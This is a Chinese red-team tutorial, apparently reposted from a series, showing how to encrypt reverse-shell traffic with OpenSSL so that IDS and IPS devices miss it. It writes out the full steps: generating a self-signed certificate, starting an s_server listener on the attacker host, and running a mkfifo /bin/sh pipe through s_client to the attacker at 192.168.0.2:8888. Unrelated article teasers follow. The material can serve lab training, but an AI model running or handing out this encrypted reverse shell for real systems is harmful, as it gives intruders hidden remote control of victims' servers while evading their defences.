《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密

  前文推荐:

  • 《红蓝攻防对抗实战》一. 隧道穿透技术详解
  • 《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网
  • 《红蓝攻防对抗实战》三.内网探测协议出网之HTTP/HTTPS协议探测出网
  • 《红蓝攻防对抗实战》四.内网探测协议出网之ICMP协议探测出网
  • 《红蓝攻防对抗实战》五.内网探测协议出网之DNS协议探测出网
  • 《红蓝攻防对抗实战》六.常规反弹之利用NC在windows系统执行反弹shell
  • 《红蓝攻防对抗实战》七.常规反弹之利用NC在Linux系统执行反弹shell

在实战攻防对抗中,使用常规反弹shell会有一个缺点,那就是所有通过shell传输的流量都是以明文的方式发送的,可以被安全防护设备(如IDS、IPS等)获取到通信传输的数据内容,会导致被触发告警拦截,红队人员会使用一种加密的反弹shell方式,对传输的数据内容进行混淆加密,这里我们使用OpenSSL来进行加密反弹shell,本次实验环境如图1-1所示。

图1-1  OpenSSL 反弹shell实验拓扑图

1)首先在使用OpenSSL反弹shell之前,需要对攻击机进行配置,手动执行openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes命令生成自签名证书,其OpenSSL使用参数如表1-1所示,在生成自签名证书过程中,会提示输入证书信息,在证书信息方面可以直接按回车键不进行设置,如图1-2所示,最后会生成cert.pem和key.pem这两个文件。

表1-1 常见使用参数

参数

作用

-new

表示生成一个新的证书签署要求

-x509

专用于生成CA自签证书

 -key

指定生成证书用到的私钥文件

-out FILNAME

指定生成的证书的保存路径

-days

指定证书的有效期限,单位为day,默认是365天

-notes

生成的私钥文件不会被加密

图1-2 攻击机生成自签名证书

2)当攻击机生成自签名证书后,执行openssl s_server -quiet -key key.pem -cert cert.pem -port 8888命令,使OpenSSL监听本地攻击机的8888端口,来启动一个SSL/TLS server服务。如图1-3所示。

图1-3攻击机开启监听

3)当攻击机开启监听后,在目标服务器进行反弹 shell 操作,执行mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.2:8888 > /tmp/s; rm /tmp/s命令,即可将目标服务器的shell反弹到攻击机上,如图1-4所示

图1-4 目标服务器执行反弹shell命令

4)执行成功后,对接收到的反弹shell使用ifconfig命令测试,如图1-5所示,可以查看到输出的IP地址为目标服务器的IP。此时我们已经通过加密反弹的方式获取到了目标服务器的shell权限。

图1-5 攻击机获取反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/121040.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

openpnp - modify source code - SlotSchultzFeederConfigurationWizard

文章目录 openpnp - src modify - SlotSchultzFeederConfigurationWizard概述笔记备注END openpnp - src modify - SlotSchultzFeederConfigurationWizard 概述 在给SlotSchultzFeeder分配元件时, 发现坐标文件中产生的Part名称是拼起来的, 名字很长. 在飞达元件下拉列表中选…

PyCharm 安装 cx_Oracle 失败

我在PyCharm的终端用 pip安装cx_Oracle失败&#xff0c;报错情况如下&#xff1a; ERROR: Could not build wheels for cx_Oracle, which is required to install pyproject.toml-based projects 出错原因&#xff1a; python 的版本太高了&#xff0c;我的是3.11版本的&…

Compose 自定义 - 绘制 Draw

一、概念 所有的绘制操作都是通过调整像素大小来执行的。若要确保项目在不同的设备密度和屏幕尺寸上都能采用一致的尺寸&#xff0c;请务必使用 .toPx() 对 dp 进行转换或者采用小数尺寸。 二、Modifier 修饰符绘制 官方页面 在修饰的可组合项之上或之下绘制。 .drawWithCon…

[100天算法】-面试题 17.17.多次搜索(day 43)

题目描述 给定一个较长字符串big和一个包含较短字符串的数组smalls&#xff0c;设计一个方法&#xff0c;根据smalls中的每一个较短字符串&#xff0c;对big进行搜索。输出smalls中的字符串在big里出现的所有位置positions&#xff0c;其中positions[i]为smalls[i]出现的所有位…

redis集群理论和搭建

目录 环境 一&#xff0c;安装和部署redis 1&#xff0c;安装 2&#xff0c;部署 ​编辑 3&#xff0c;允许非本机连接redis 二、主从模式 主从模式搭建&#xff1a; 三&#xff0c;哨兵模式 哨兵模式搭建 四&#xff0c;集群模式 架构细节: 心跳机制 集群模式搭建&#xff1a…

<多线程章节五>synchrosized的可重入特性

&#x1f490;专栏导读 本篇文章收录于多线程&#xff0c;也欢迎翻阅博主的其他文章&#xff0c;可能也会让你有不一样的收获&#x1f604; &#x1f341;JavaSE &#x1f33a;多线程 &#x1f342;数据结构 &#x1f490;synchrosized的可重入特性及死锁 可重入特性就是&…

力扣每日一题79:单词搜索

题目描述&#xff1a; 给定一个 m x n 二维字符网格 board 和一个字符串单词 word 。如果 word 存在于网格中&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 单词必须按照字母顺序&#xff0c;通过相邻的单元格内的字母构成&#xff0c;其中“相邻”单元格…

如何查找特定基因集合免疫基因集 炎症基因集

温故而知新&#xff0c;再次看下Msigdb数据库。它更新了很多内容。给我们提供了一个查询基因集的地方。 关注微信&#xff1a;生信小博士 比如纤维化基因集&#xff1a; 打开网址&#xff1a;https://www.gsea-msigdb.org/gsea/msigdb/index.jsp 2.点击search 3.比如我对纤维…

如何让Java的线程池顺序执行任务?

Java中的线程池本身并不提供内置的方式来保证任务的顺序执行的&#xff0c;因为线程池的设计目的是为了提高并发性能和效率&#xff0c;如果顺序执行的话&#xff0c;那就和单线程没区别了。 但是如果被问到想要实现这个功能该怎么做&#xff0c;有以下两种方式。 1.使用单线…

结构体数组经典运用---选票系统

结构体的引入 1、概念&#xff1a;结构体和其他类型基础数据类型一样&#xff0c;例如int类型&#xff0c;char类型&#xff0c;float类型等。整型数&#xff0c;浮点型数&#xff0c;字符串是分散的数据表示&#xff0c;有时候我们需要用很多类型的数据来表示一个整体&#x…

软考 系统架构设计师系列知识点之设计模式(6)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之设计模式&#xff08;5&#xff09; 所属章节&#xff1a; 老版&#xff08;第一版&#xff09;教材 第7章. 设计模式 第2节. 设计模式实例 相关试题 1. 设计模式描述了一个出现在特定设计语境中的设计再现问题&…

Parity 战略转型引热议,将如何推动波卡生态去中心化?

Polkadot 生态的区块链基础设施公司 Parity Technologies&#xff0c;最近宣布了一项重要的战略调整&#xff0c;即正在寻求在未来几个月内&#xff0c;将部分现有的市场职能转移给 Polkadot 生态系统内的多个去中心化团队&#xff0c;这将影响 Parity Technologies 未来几个月…

ffmpeg中examples编译报不兼容错误解决办法

ffmpeg中examples编译报不兼容错误解决办法 参考examples下的README可知&#xff0c;编译之前需要设置 PKG_CONFIG_PATH路径。 export PKG_CONFIG_PATH/home/user/work/ffmpeg/ffmpeg/_install_uclibc/lib/pkgconfig之后执行make出现如下错误&#xff1a; 基本都是由于库的版…

(el-Table)操作(不使用 ts):Element-plus 中 Table 多选框的样式等的调整

Ⅰ、Element-plus 提供的 Table 表格组件与想要目标情况的对比&#xff1a; 1、Element-plus 提供 Table 组件情况&#xff1a; 其一、Element-ui 自提供的 Table 代码情况为(示例的代码)&#xff1a; // Element-plus 自提供的代码&#xff1a; // 此时是使用了 ts 语言环境…

企业管理系统有哪些?

文章目录 企业管理系统一、ERP 企业资源计划&#xff08;Enterprise Resource Planning&#xff09;二、OMS 订单管理系统&#xff08;Order Management System&#xff09;三、WMS 仓库管理系统&#xff08;Warehouse Management System &#xff09;四、TMS 运输管理系统 (Tr…

第十三章---枚举类型与泛型

一&#xff0c;枚举类型 1.使用枚举类型设置常量 设置常量时&#xff0c;我们通常将常量放置在接口中&#xff0c;这样在程序中就可以直接使用。该常量稚因为在接口中定义常量时&#xff0c;该常量的修饰符为 final 与 static。 public interface Constants ( public static …

LVS集群-DR模式【部署高可用LVS-DR集群】

文章目录 2.2 实战&#xff1a;配置LVS-DR集群2.2.1 配置IP&#xff08;Director Server的部署配置&#xff09;2.2.2 生成ens33:1配置文件 &#xff08;Director Server的部署配置&#xff09;2.2.3 配置LVS-DR规则&#xff08;Director Server的部署配置&#xff09;2.2.4 两…

Docker 镜像读写层核心概念:rootfs、Union mount、image以及layser原理详解

Docker 镜像读写层核心概念&#xff1a;rootfs、Union mount、image以及layser原理详解 文章目录 Docker 镜像读写层核心概念&#xff1a;rootfs、Union mount、image以及layser原理详解rootfsUnion mount为什么镜像层都是只读的去掉读写层的话会有什么问题 Docker镜像imageDoc…

AcWing 1.2.1 最长上升子序列模型 + 动态规划 + 图解(详细)

&#xff08;1&#xff09;acwing 4557. 最长上升子序列 4557. 最长上升子序列 - AcWing题库 给定一个长度为 N 的整数序列 a1,a2,…,aN。请你计算该序列的最长上升子序列的长度。上升子序列是指数值严格单调递增的子序列 输入格式 第一行包含整数 N第二行包含 N个整数 a1,a…

大语言模型(LLM)综述(四):如何适应预训练后的大语言模型

A Survey of Large Language Models 前言5. ADAPTATION OF LLMS5.1 指导调优5.1.1 格式化实例构建5.1.2 指导调优策略5.1.3 指导调优的效果5.1.4 指导调优的实证分析 5.2 对齐调优5.2.1 Alignment的背景和标准5.2.2 收集人类反馈5.2.3 根据人类反馈进行强化学习5.2.4 无需 RLHF…